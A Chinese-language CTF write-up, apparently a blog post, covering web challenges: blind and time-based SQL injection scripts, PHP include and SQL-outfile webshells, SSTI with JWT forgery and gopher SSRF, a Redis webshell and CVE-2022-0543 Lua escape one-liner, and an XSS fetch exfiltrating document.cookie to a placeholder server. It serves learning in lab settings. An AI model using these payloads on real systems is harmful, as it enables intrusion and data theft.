天眼查企业入口免费/百度seo软件优化

天眼查企业入口免费,百度seo软件优化,做3dh春丽网站叫什么,室内设计装修用啥软件文章目录 week1headach3会赢吗智械危机谢谢皮蛋PangBai 过家家(1) week3include meblindsql1臭皮的计算机臭皮踩踩背这照片是你吗 week4Pangbai过家家四blindsql2chocolateezcmsssezpollute隐藏的密码 weeek5pangbai过家家(5)redissqlshell臭皮吹泡泡臭皮…

文章目录

  • week1
    • headach3
    • 会赢吗
    • 智械危机
    • 谢谢皮蛋
    • PangBai 过家家(1)
  • week3
    • include me
    • blindsql1
    • 臭皮的计算机
    • 臭皮踩踩背
    • 这照片是你吗
  • week4
    • Pangbai过家家四
    • blindsql2
    • chocolate
    • ezcmsss
    • ezpollute
    • 隐藏的密码
  • weeek5
    • pangbai过家家(5)
    • redis
    • sqlshell
    • 臭皮吹泡泡
    • 臭皮的网站

week1

headach3

根据提示,在页面的请求头里找到flag
flag{You_Ar3_R3Ally_A_9ooD_d0ctor}

在这里插入图片描述

会赢吗

打开控制台,拿到第一部分flag
在这里插入图片描述
将地址栏改为提示,去到下一关在这里插入图片描述
控制台调用函数,得到flag
在这里插入图片描述
进入第三关,看到与第二关很相似,同样是向一个地方发数据,根据响应拿到flag,但是第二关没有完成该功能的函数,猜测是要自己写一个脚本数据过去
在这里插入图片描述
看题解才发现原来是要修改if指向的条件值在这里插入图片描述
去到第四关,修改设置禁用js,拿到flag,最后将所有flag进行base64解码即可

智械危机

进来看到提示flag跟robots相关,访问robots.txt,(这里为什么要访问这个地址,也是在一次ai的过程里突然理解)得到一个地址,进入在这里插入图片描述
在这里插入图片描述
函数部分的逻辑好理解,接下来解释一下if部分的逻辑在这里插入图片描述
在这里插入图片描述在这里插入图片描述
所以我们所看到的当前网页其实就是else语句执行后的结果
在这里插入图片描述
在题目的源码里,我们可以看到解码后的命令会被执行,因此,可以发送一个获取flag的命令过去,也就是一个webshell

from hashlib import *
from random import  *
from requests import *
from tqdm import *
import uuid
import base64
url='http://127.0.0.1:59206//backd0or.php'
cmd='cat /flag'
base_cmd=base64.b64encode(cmd.encode()).decode()
rev_base_cmd=base_cmd[::-1]
key=base64.b64encode(md5(rev_base_cmd.encode()).hexdigest().encode()).decode()
payload={'cmd':base_cmd,'key':key
}
responce=post(url,data=payload)
print(responce.text)

谢谢皮蛋

做这题之前需要先去学习一些数据库的知识

  • 1 order by 2
    1可以理解为输入的id,是一个占位符,按第二列排序用来测试列数,如果没有两列则会报错
  • -1 union select 1,2
    -1同样是占位符,union的作用是将注入语句合并到原始语句中,select 1,2用于从数据库中返回两个常量值1,2在这里插入图片描述
  • -1 union select 1,database()
    在这里插入图片描述
    拿到数据库名,接下来查看表名
 -1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

在这里插入图片描述
全都看一遍,拿到flag

PangBai 过家家(1)

根据提示,在网络里找到下一关的地址在这里插入图片描述
输入查询参数,进入下一关
在这里插入图片描述
第三关采用post方法发送请求,先下一个hackbar插件在这里插入图片描述
这里是真不懂有什么逻辑在其中了,第四关wp说将刚才发的请求再重新发一遍,为什么要这么做呢在这里插入图片描述
根据提示将用户代理改为Papa/1.0,进入下一关在这里插入图片描述
同样,我们再发一次请求,得到在这里插入图片描述

import requests# URL 和 Headers
url = "http://8.147.132.32:36002/?ask=miao"
headers = {"Host": "8.147.132.32:36002","User-Agent": "Papa/1.0","Content-Type": "multipart/form-data; boundary=abc","Cookie": "token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZXZlbCI6NX0.xKi0JkzaQ0wwYyC3ebBpjuypRYvrYFICU5LSRLnWq_0",
}# 构造 form-data 数据
data = ("--abc\r\n"'Content-Disposition: form-data; name="file"; filename="1.zip"\r\n'"\r\n""123\r\n""--abc\r\n"'Content-Disposition: form-data; name="say"\r\n'"\r\n""玛卡巴卡阿卡哇卡米卡玛卡呣\r\n""--abc--\r\n"
)# 发送 PATCH 请求
response = requests.patch(url, headers=headers, data=data)# 打印响应
print("Status Code:", response.status_code)
print("Response Text:", response.text)

hackbar莫名出了点问题,后面就没做了

week3

include me

题目打开过5秒就会自动跳转,赶紧冲手速把代码复制下来

<?php
highlight_file(__FILE__);
function waf(){if(preg_match("/<|\?|php|>|echo|filter|flag|system|file|%|&|=|`|eval/i",$_GET['me'])){die("兄弟你别包");};
}
if(isset($_GET['phpinfo'])){phpinfo();
}//兄弟你知道了吗?
if(!isset($_GET['iknow'])){header("Refresh: 5;url=https://cn.bing.com/search?q=php%E4%BC%AA%E5%8D%8F%E8%AE%AE");
}waf();
include $_GET['me'];
echo "兄弟你好香";
?>

传入参数iknow就可以防止跳转,看一下绕过,大致都被禁用了,根据伪协议提示想到data协议,但是php也被禁用了,于是只能翻文档,找到编码绕过在这里插入图片描述

payload:
http://127.0.0.1:63097/?iknow=1&data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+

看wp时发现一些细节需要注意

  • 编码后最后不能是+,会被解析成空格
  • 如果密文中带=号被过滤,可以采取明文前多加几个空格的方法
    在这里插入图片描述

blindsql1

提示盲注,进来随便尝试一下,发现不给回显,一些关键词可能被禁用
在这里插入图片描述
测试一下,发现空格,union,=,/都被过滤了

  • =号的绕过可以用like或in
  • 空格和/的绕过可以用括号
  • and前面是字符串或者括号可以不加空格

写一个盲注脚本,利用name=alice and 猜测值=实际值,如果猜对,and后面是true,alice的信息会被带出,注意要在alice的后面加上’来闭合
记录一下写脚本时候踩的坑

  • 当用like或in代替=时,两边的数据都要加上(),不然会被识别成一整个字符串
  • ord(c)一定要放到{}里面,因为这是python的代码,sql不会执行
import string,time,tqdm,requests
url='http://127.0.0.1:62459/'
result=''
for i in tqdm.trange(1,100):for c in string.digits+string.ascii_letters+'_-':time.sleep(0.2)tables='(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like(database())))'char=f'ord(mid({tables},{i},1))'bl=f'(({char})in({ord(c)}))'p=f'Alice\'and({bl})#'response=requests.get(url,params={'student_name':p})if 'Alice' in response.text:result+=cprint(result)break

到25时爆破速率明显减慢,猜测只有这几张表在这里插入图片描述
courses,secrets,students
接下来爆破secrects列名
在这里插入图片描述
随后在三列中翻翻flag

for i in tqdm.trange(1,100):for c in string.digits+string.ascii_letters+string.punctuation:time.sleep(0.2)tables='(select(group_concat(secret_value))from(secrets)where((secret_value)like(\'flag%\')))'char=f'ord(mid({tables},{i},1))'bl=f'(({char})in({ord(c)}))'p=f'Alice\'and({bl})#'response=requests.get(url,params={'student_name':p})if 'Alice' in response.text:result+=cprint(result)break

臭皮的计算机

根据提示进入到/calc,随便测一下,发现会返回报错信息,且输出使用print(eval),测试system,有特殊信息,说明应该是要绕过执行命令在这里插入图片描述
连续测了system,shell_exec,phpinfo,似乎全都被禁用了,开源代码看一下,发现能看到代码逻辑,且字母全被过滤了在这里插入图片描述
做不下去了,开wp看一看,提到用全角字符绕过,Google一下在这里插入图片描述
因为是python脚本,所以不能直接用system,在这里也是学到一个新姿势在这里插入图片描述
在这里插入图片描述
转为全角字符时报错,猜测是因为括号内字符不能继续用全角,采用chr函数或八进制绕过

str='oscatflag'
res=''
for i in str:res+=f'chr({ord(i)})+'
print(res)

结果又被禁用了,看wp一下子想通了,全角字符在当作函数名或者import使用时可以正常运行,所以数字和括号需要用半角字符

_import_(chr(111)+chr(115)).system(chr(99)+chr(97)+chr(116)+chr(32)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103))

臭皮踩踩背

这道题似乎出什么问题了
在这里插入图片描述

这照片是你吗

触及到知识盲区了,顺着wp做一做
在这里插入图片描述
静态文件的提示,说明应该去找可读文件,随后,从响应标头里找到疑似flask框架的信息在这里插入图片描述
随后,根据flask框架,猜测主程序名是app.py在这里插入图片描述
路径穿越回根目录看一下,被禁止访问了,但是可以访问下级目录,试试看一些默认位置

在这里插入图片描述
之后因为本地抓包的配置一直没弄好,就一直卡在这里了

week4

Pangbai过家家四

gpt分析一手在这里插入图片描述
直接去看main.go源码
.User输入字符串会被直接拼接,类似SSTI注入,测试xss脚本在这里插入图片描述
能用,但是不熟悉攻击手法,于是去看wp,关注渲染过程的核心代码

tmplStr := strings.Replace(string(content), "%s", input, -1)
tmpl, err := template.New("eye").Parse(tmplStr)helper := Helper{User: user, Config: config}
err = tmpl.Execute(w, helper)

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
那么现在我们知道了,{{.}}是传递给模板的内容,可以通过.访问它的下级。可以使用 {{ . }} 获取整个上下文,或使用 {{ .A.B }} 进行层级访问。若上下文中含有函数,也支持 {{ .Func “param” }} 的方式传入变量。并且还支持管道符运算。
但是这个.所能控制的不是一直都是我们传入的内容吗,自己访问自己没意义啊,但是如果点能访问其他内容呢?
在本题中,由于 utils.go 定义的 Stringer 对象中的 String 方法,对继承他的每一个 struct,在转换为字符串时都会返回 [struct],所以直接使用 {{ . }} 返回全局的上下文结构会返回 [struct].

func (s Stringer) String() string {return "[struct]"
}

在这里插入图片描述

type Helper struct {StringerUser   stringConfig Config
}

在这里插入图片描述

注意到恰好Helper是stringer对象,所以如果调用点会返回[struct]在这里插入图片描述
在这里插入图片描述
拿到JwtKey
接下来去看另一个路由在这里插入图片描述
✅ JWT 伪造漏洞:如果已拿到 JwtKey,可以伪造 Papa 身份绕过权限检查。
✅ 路径遍历漏洞:如果 config.SignaturePath 没有限制,可以利用 PUT 方法覆盖任意文件。
那么接下来其实思路很明确了,用JwtKey签一个token,再利用put方法更新path路径,get请求渲染页面即可实现任意文件访问。
唯一的问题其实是限制了只能本地访问,当然我们在本地复现时不需要考虑这个,但是在打比赛的时候就需要用SSRF才能绕过,其实一开始进来就看见了这么一个函数

func (c Helper) Curl(url string) string {fmt.Println("Curl:", url)cmd := exec.Command("curl", "-fsSL", "--", url)_, err := cmd.CombinedOutput()if err != nil {fmt.Println("Error: curl:", err)return "error"}return "ok"
}

所以调用curl 函数在这里插入图片描述
后来测试发现想复杂了,其实直接用简单的两层括号就可以拿到ok

{{.curl “http://localhost:8000”}}

因为curl发起的命令只能发送get请求,所以还需要想办法发put请求,这里因为curl命令支持gopher协议,所以在这里插入图片描述
先去签一个jwt在这里插入图片描述
再让gpt写一个put协议的原始报文,注意数据以原文传,并且不能加换行,否则会影响到文件读取

PUT /favorite HTTP/1.1
Host: localhost:8000
cookie:token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJOYW1lIjoiUGFwYSJ9.yjIwYcy92eqIx6mcAfxTRlhFIglUfiP7uPEmUZ85evY
Content-Type: text/plain
Content-Length: 18/proc/self/environ

然后卡了一会,最后发现报文需要二次urlencode才可以通过在这里插入图片描述
奇怪的是接下来访问favorite路由还是没拿到flag,又试了一次总算拿到flag了,这里过程发现一个点,jwt签名的时候,不管是Name还是user都可以正常读到papa,可能是因为只有一个数据的原因吧。这里如果不看wp哪怕能够做到任意文件读我估计也想不到flag在环境变量里。学到了这种手法

proc/self/environ

在这里插入图片描述

blindsql2

这里看不到回显数据了,我们在上一个盲注中可以通过Alice来判断是否注入成功,在这里则得不到信息,不急,先测试几手,发现空格,等号,union,/被过滤,输入单引号时页面突然无内容,猜测使用单引号闭合
到这里其实是跟1一样的,唯一的区别在于2没有了回显数据,我们需要找一个点来判断注入是否成功。

for i in tqdm.trange(1,100):for c in string.digits+string.punctuation+string.ascii_letters:time.sleep(0.01)table='(select(group_concta(table_name)from(information_schema.tables)where(table_name=database())))'char=f'ord(mid({table},{i},1))'bl=f'(ord{c})like({char})'p=f'Alice\'and({bl})'

写到这里卡住,测试无论是有的数据还是没有的数据都是一样的返回结果,Google一手,发现时间盲注的手法

id=1’ and if(ascii(substr(database(),1,1))>100,sleep(3),0)–+

如果猜对了就睡三秒,那么怎么通过这一特性写脚本呢,继续Google,找到盲注相关脚本

  time1 = datetime.datetime.now()r = requests.get(url + payload)time2 = datetime.datetime.now()sec = (time2 - time1).secondsif sec >= 1:print(i)else:print(i)break

到这里就可以写出完整脚本了,可以预见的是脚本的运行时间一定很长,趁这个时间去看看wp,果然也是时间盲注,不过本地自己写的脚本爆的前几个字符没啥意义,可能脚本有问题还需要调整。检查发现在sql语句中if需要加括号,sleep时间不能太短,否则会因为网卡1s而匹配错误结果

完整脚本
import string,time,tqdm,requests
url='http://127.0.0.1:23237/'
result=''
for i in range(1,100):print(f'[+]bruting at {i}')for c in string.ascii_letters + string.digits + ',_-{}':time.sleep(0.01)tables = f'(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like(database())))'char = f'ord(mid({tables},{i},1))'b = f'({char})in({ord(c)})'p = f'Alice\'and(if({b},sleep(1.5),0))#'res = requests.get(url, params={'student_name':p})if res.elapsed.total_seconds() > 1.5:result += cprint(result)break

chocolate

输入’尝试sql注入,爆出一些信息在这里插入图片描述
在这里插入图片描述
看上去没有文件包含点,只是需要做一些绕过,字母被过滤,第一个数字不能为0,那么采用八进制,在前面加上一个空格的url编码%20即可绕过,
在这里插入图片描述
成功绕过,拿到可可的值和提示,crypto上线,看后缀猜测应该是php,过了一道简单的凯撒加密在这里插入图片描述
奇怪的是进来竟然是404,开wp看一眼,原来是因为大小写的问题,b需要大写

在这里插入图片描述
在这里插入图片描述
还是熟悉的绕过,gpt一手,找到php的弱类型特点来绕过

在这里插入图片描述
遗憾的是在这里恰好是一个严格比较,所以绕不过去,Google一手找找资源在这里插入图片描述

<?php 
$number = 1 + "10.5";  	// $number = 11.5 (float)
$number = 1 + "-1.3e3"; 	// $number = -1299 (float)
$number = 1 + "bob-1.3e3"; // $number = 1 (int)
$number = 1 + "2admin"; 	// $number = 3 (int)
$number = 1 + "admin2"; 	// $number = 1 (int)
?>

找到一种思路,使用hash碰撞,但是下载工具似乎出了点问题,不是梯子的原因,但是一直进不去在这里插入图片描述
需要进官网去找这个程序,直接下会出问题
https://marc-stevens.nl/research/hashclash/
在这里插入图片描述
新建一个文件放入任意内容,随后运行这个命令

fastcoll_v1.0.0.5.exe -p a.txt -o 1.txt 2.txt

在powshell里需要加入./才能正常运行
可惜还是没绕过,这里就有点想不通了,bp抓个包看看,这里说一下bp怎么抓本地靶场的包,折腾了一个多小时
首先需要把127.0.0.1替换为自己的ipv4地址,输ipconfig命令就可以看到
在这里插入图片描述
gpt一手在这里插入图片描述
试试开启透明代理
在这里插入图片描述
后来突然想通了哪里出的问题,我们在浏览器是用了一个代理,这个代理设置了一个监听地址,而这个地址一定不能是题目的地址,因为当我们发包时就相当于把题目的数据发到代理设置的这个地址,如果你的 Burp 监听 了 10.147.42.151:19830,但你请求的目标也是 10.147.42.151:19830,造成了 Burp 代理自身的死循环。在这里插入图片描述
但是发现替换成ip4地址的时候莫名无法访问了
在这里插入图片描述
最后尝试用bp的内嵌浏览器,可以正常抓包了

在这里插入图片描述
还是不对,看了看wp,思路就是这个,不信邪又用工具跑了一次,还是不对,那这个工具可能是有点问题,也有可能是要文件的MD5值,我是直接ctrl+a去计算的url编码。wp从网上直接找了组数据,那么我也去找找看,找到两组数据都可以

cat=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&dog=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

到这里其实就绕过了,再看下一层绕过,miao==md5(miao),一个弱比较,在前面搜集信息的时候就看到思路了,找到字符串的哈希值0e开头,计算这个0e开头的哈希值也是0e开头,完成绕过

moew=0e215962017
md5=0e291242476940776845150308577824

md5和双md5之后都是0e开头的

CbDLytmyGm2xQyaLNhWn
770hQgrBOjrcqftrlaZk
7r4lGXCH2Ksu2JNT3BYM

这里奇怪的是网上找的数据明明没有问题,但就是用不了,用wp的数据一下就过了,下一个绕过就更简单了,写个脚本使前几个字符是8031b即可

from Crypto.Util.number import *
from sympy import *
from Crypto.Cipher import AES
from tqdm import tqdm
from libnum import *
import string
from hashlib import *
import os
import gmpy2
from hashlib import *
from random import *
from requests import *
from tqdm import *
import uuid
from bs4 import BeautifulSoup
import requests
import requests# headers = {
#     'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36'}
# for i in range(500):
#     url = "http://127.0.0.1:55146//{{()['__cla'+'ss__'][__base__]['__subcla'+'sses__()'][" + str(i) + "].__init__.__globals__}}"
#     res = requests.get(url=url, headers=headers)
#     print(res.status_code)
#     if 'os' in res.text:
#         print(i)
#
# # payload: {{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
# from pwn import *
# host = 'challenge.utctf.live'
# port = 7150
# conn = remote(host, port)
# for i in range(1,50):
#     message = chr(i)
#     print(message)
import hashlib
import itertools
import stringdef find_matching_string():charset = string.ascii_letters + string.digits  # 允许的字符(大小写字母+数字)for length in range(1, 10):  # 逐步增加字符串长度for s in itertools.product(charset, repeat=length):test_string = ''.join(s)md5_hash = hashlib.md5(test_string.encode()).hexdigest()if md5_hash.startswith("8031b"):return test_string, md5_hashresult_string, md5_value = find_matching_string()
print(f"找到匹配的字符串: {result_string}")
print(f"对应的 MD5 哈希: {md5_value}")

去final.php,大概看一下应该是反序列化的内容,通过post方法传入food,food进行反序列化
在这里插入图片描述
到晚上思维开始疲惫了,明天再看吧
看起来思路是需要构造一个序列化字符串,然后绕过chocolate匹配,就可以拿到信息,本来想自己写脚本,结果gpt把字符串给出了,尝试能不能用吧

payload = 'O:9:"chocolate":2:{s:3:"cat";s:4:"test";s:5:"kitty";s:4:"test";}'

Google半天没找到类名检测怎么绕过,干脆直接看wp吧,wp说用大小写绕过,提交数据没反应,那问题应该出在gpt构建的序列化字符串上,我们自己构造一个

在这里插入图片描述
抓个包把原始数据传过去,拿到最后一个参数在这里插入图片描述

 可可液块=1337033可可脂=202409黑可可粉=51540

这个页面就没有信息了,回主页面试一下,糖粉输10000显示太甜,输1000显示太苦,所以最后一个应该是要靠二分法猜出来,大概十次左右试出是2042

ezcmsss

进来随便看看,cms是文件管理系统,没找到啥有用的,dirsearch扫一扫在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
下载www.zip拿到一个假的flag,但至少说明思路没问题在这里插入图片描述
估计是从ctfshow改的题,解了一下misc的flag也不对,大概率还是要去看源码,可能利用网站的更新日志,网站本身还是老版本这个思路
在这里插入图片描述
突然找到一个有意思的东西在这里插入图片描述
本来想抓包爆破,但是一想需要验证码,爆破也不好搞,去给的极致站点看了看也没什么,没剩啥思路了,去注册登录一手,发现有可能存在文件上传。刚想试试是不是前端校验,在选择分类那里不让选,等于把文件上传杀死了。头大,去看一眼wp。好吧,原来是漏看了一个文件导致错过了后门的账号密码在这里插入图片描述
在这里插入图片描述
成功登录在这里插入图片描述
进来逛一逛啥也没找到,倒是有上传点,但是一想都进后台了要上传干嘛。从项目地址去看了看接下来的版本更新日志,也没找到啥思路。有意思的是这时候注意到清理缓存这个选项,进来看看有一些缓存的数据地址,进去一看还真有东西,感觉应该在这里,但是没找到,再去看一眼wp在这里插入图片描述
没想到跟我想的方向不搭边,这时候还是感觉到有一点挫败感的,不过没事,从哪里跌倒就从哪里爬起来。其实不应该看各版本的更新日志,而是应该Google这个版本下的漏洞在这里插入图片描述
这个版本有一个任意文件下载漏洞,看了下wp,因为我们是在本地复现,所以无法通过公网url下载,需要将.zip文件上传到容器里再下载解压。为什么要这么做呢,我们需要传入木马拿到网站的控制权,但是直接上传不知道文件在哪,而这个任意文件下载漏洞可以找到文件的位置,并且将下载行为改为解压缩行为,就可以拿到木马的位置,完成getshell。找一个上传点。在这里插入图片描述
抓个包找到上传路径

/static/upload/file/20250317/1742220428158999.zip
在这里插入图片描述
说明上传成功了

接下来照葫芦画瓢,利用CVE的数据包

POST /admin.php/Plugins/update.html HTTP/1.1
Host: 192.168.48.135
Content-Length: 93
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.48.135
Referer: http://192.168.48.135//admin.php/Plugins/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=tnfljdrsfd3fdf7qin35gf26v4
Connection: closeaction=start-download&filepath=mutisite&download_url=/static/upload/file/20250317/1742220428158999.zip

sessionid要改成自己的在这里插入图片描述
漏洞复现
跟着y4走了一下流程到最后发现404,回头检查才发现压缩文件时windows自动把马杀了。。。
没事,重来一手

/static/upload/file/20250317/1742222745119562.zip
最后还是404,猜测可能是下载插件的环境不一样导致的,抓的数据包跟复现内容总有差异,继续检查,发现在下载时没有用绝对地址,应该用http,继续检查,发现要把插件卸载了再下才可以,不然会触发禁止重复下载的逻辑在这里插入图片描述
到这里就成功下载下来了在这里插入图片描述
但是按照复现路径又报404了,这里刚要崩溃的时候突然试出来路径,原来是还需要在文件前加上文件夹名字,而wp里的filepath纯扯淡

在这里插入图片描述
随后拿到flag在这里插入图片描述
总算打完了

ezpollute

看题目应该是一个js原型链污染
这道题很想试试,可惜平台没把源码放出来,做不了啊

隐藏的密码

进来看到一个登录页面,从提示来看不太可能爆破进去,dirsearch扫一扫在这里插入图片描述
请求太多会报错,只能做一个简单的扫描,这个就更头大了,找不到一点信息,sql,ssti尝试了,还以为做了请求的限制在这里插入图片描述
尝试了一下降线程没用,还是会达上限,加了延时到十个任务每秒还是没用,难怪只有四解,不做了,继续硬做的话等探测完都过去几个小时了

weeek5

pangbai过家家(5)

box和send两个路由在这里插入图片描述
可以看到flag就在cookie里,想办法拿出来即可,可以利用xss,但是有过滤在这里插入图片描述
在这里插入图片描述
用gpt没绕过,第一次做xss题,去看看wp

function safe_html(str: string) {return str.replace(/<.*>/igm, '').replace(/<\.*>/igm, '').replace(/<.*>.*<\/.*>/igm, '')
}

在这里插入图片描述

<script
>alert(1)</script
>

可以利用js的fetch函数发请求到自己服务器上拿信息

fetch("http://your-server.com/?data=" + document.cookie)

然而复现中环境是不出网的,即访问不到服务器,所以需要想其他办法带出数据,如果把获取cookie的函数发过去,bot处理后我们在信箱是不是能看见cookie

fetch("https://jsonplaceholder.typicode.com/posts", {method: "POST",  // 请求方法headers: {"Content-Type": "application/json"  // 设置请求头},body: JSON.stringify({ title: "Hello", body: "World" })  // 发送数据
})
.then(response => response.json())
.then(data => console.log(data))
.catch(error => console.error("Error:", error));

在这里插入图片描述

<script
>
fetch('/api/send', {method: 'POST',headers: {'Content-Type': 'application/json'},body: JSON.stringify({'title': "Cookie", 'content': document.cookie})
})
</script
>

顺利拿到flag

redis

在这里插入图片描述
简单的说就是一个高性能的键值对数据库,在网上找了一些渗透的命令都无效,怀疑是不是我的问题,看一眼wp在这里插入图片描述
这个确实是一个命令面板没毛病,但是背后过滤了一些东西,所以set命令写入shell不可用,先去www.zip看看源码过滤了什么吧在这里插入图片描述

redis-cli -h [目标ip] -p [redis端口]          #连接redis服务器config set dir /var/www/html                  #设置数据库备份文件的放置路径config set dbfilename shell.php             #设置备份文件的文件名set x "<?php @eval($_POST['tt']);?>"   #添加一个键”x”,值为一句话木马save                                                       #保存

Redis Lua 沙盒逃逸和远程代码执行 (CVE-2022-0543)
试试里面的脚本

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

结合gpt改改脚本即可拿到flag在这里插入图片描述

sqlshell

提示flag不在数据库,应该是要通过某种sql执行命令的方式,Google看看在这里插入图片描述
这次终于不过滤空格了,可惜也没有回显,怎么拿到数据呢

(select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/1.php")

在这里插入图片描述

select * from information_schema.session_variables where
variable_name=‘secure_file_priv’

其实这道题思路还是没问题的,但是对sql语法不熟悉导致没能成功写进去
先测试列数

Alice' order by 4#

到4无回显,说明有三列

Alice' union select 1,2,3#

看哪些字段会回显

#查询数据库 #【test】
python sqlmap.py -u http://139.224.112.182:8801/search.php?id=1 --dbs
#获取数据库中的表 #【admin、news】
python sqlmap.py -u http://139.224.112.182:8801/search.php?id=1 -D test --tables
#获取表中的字段名 #【 user_id、user_name、user_pass】
python sqlmap.py -u http://139.224.112.182:8801/search.php?id=1 -D test -T admin --columns
#获取字段信息 【admin:mysql】
python sqlmap.py -u http://139.224.112.182:8801/search.php?id=1 -D test -T admin -C user_name,user_pass --dump

sqlmap使用

Alice' union select 1,2,"<?php eval($_POST[1]);?>" into outfile "/var/www/html/1.php"#

getshell

臭皮吹泡泡

进来一看大概率是反序列化的一些东西

class let_me
{public $let_me;public $time;public function get_flag(){$runcode="<?php #".$this->let_me."?>";$tmpfile="code.php";try {file_put_contents($tmpfile,$runcode);echo ("we need more".$this->time);unlink($tmpfile);}catch (Exception $e){return "no!";}}public function __destruct(){echo "study ctf let me happy";}
}

其他几个类没感觉有什么用,先看let_me类,可以传入php代码,但是需要想办法绕过#注释,写入文件后有一个字符拼接,在这之后文件被销毁,可否在文件销毁前调用tostring方法呢,看样子需要让time赋值为其他类的实例

class ctf
{public $ctf;public function __tostring(){if ($this->ctf === "phpinfo") {die("u can't do this!!!!!!!");}($this->ctf)(1);return "can can need";}
}

突然想到,如果die了,是不是就不会调用销毁文件方法,理论形成,实践开始.
一直没打通,看了一眼wp,才发现细节处理有问题在这里插入图片描述
继续看了眼wp,其实思路就是这么个思路,唯一的区别在于绕过#的方式不同,我们测试一下换行能不能绕过#在这里插入图片描述
没绕过去,所以问题出在绕过这里,还是得用标签闭合来绕过。第二个问题是pop链的起点没找对,反序列化时可不会自动调用get_flag方法,所以还需要一个happy的wakeup方法。一下子被绕的有点晕,先放一放回头再来看

臭皮的网站

头有点疼下次再回来解吧

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/898598.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Linux驱动开发-①中断②阻塞、非阻塞IO和异步通知

Linux驱动开发-①中断②阻塞、非阻塞IO和异步通知 一&#xff0c;中断1.中断的流程2.上半部和下半部2.1上半部2.2下半部2.2.1 tasklet2.2.2 工作队列 3.按键延时消抖中断程序 二&#xff0c;阻塞和非阻塞IO和异步通知1.阻塞IO1.1 常见结构11.2 常见结构2 2.非阻塞IO2.1 驱动结构…

Docker和Dify学习笔记

文章目录 1 docker学习1.1 基本命令使用1.1.1 docker ps查看当前正在运行的镜像1.1.2 docker stop停止容器1.1.3 docker compose容器编排1.1.4 docker网络[1] 进入到容器里面敲命令[2] docker network ls[3] brige网络模式下容器访问宿主机的方式 2 Dify的安装和基础使用2.1 下…

探秘Transformer系列之(16)--- 资源占用

探秘Transformer系列之&#xff08;16&#xff09;— 资源占用 文章目录 探秘Transformer系列之&#xff08;16&#xff09;--- 资源占用0x00 概述0x01 背景知识1.1 数据类型1.2 进制&换算数字进制存储度量换算 1.3 参数显存占用有参数的层无参数的层所需资源 1.4 计算量 0…

jaeger安装和简单使用

文章目录 jaeger安装和使用什么是jaegerjaeger安装 jaeger安装和使用 什么是jaeger 官网&#xff1a;https://www.jaegertracing.io/ Jaeger 是一个分布式追踪系统。Jaeger的灵感来自 Dapper 和 OpenZipkin&#xff0c;是一个由 Uber 创建并捐赠给 云原生计算基金会&#xf…

【Mybatis-plus】在mybatis-plus中 if test标签如何判断 list不为空

博主介绍&#xff1a;✌全网粉丝22W&#xff0c;CSDN博客专家、Java领域优质创作者&#xff0c;掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域✌ 技术范围&#xff1a;SpringBoot、SpringCloud、Vue、SSM、HTML、Nodejs、Python、MySQL、PostgreSQL、大数据、物…

【递归,搜索与回溯算法篇】- 名词解释

一. 递归 1. 什么是递归&#xff1f; 定义&#xff1a; 函数自己调用自己的情况关键点&#xff1a; ➀终止条件&#xff1a; 必须明确递归出口&#xff0c;避免无限递归 ➁子问题拆分&#xff1a; 问题需能分解成结构相同的更小的子问题缺点&#xff1a; ➀栈溢出风险&#x…

大屏技术汇集【目录】

Cesium 自从首次发布以来&#xff0c;经历了多个版本的迭代和更新&#xff0c;每个版本都带来了性能改进、新功能添加以及对现有功能的优化。以下是 Cesium 一些重要版本及其主要特点&#xff1a; 主要版本概述 Cesium 1.0 (2012年) 初始版本发布&#xff0c;确立了Cesium作为…

图解AUTOSAR_CP_EEPROM_Abstraction

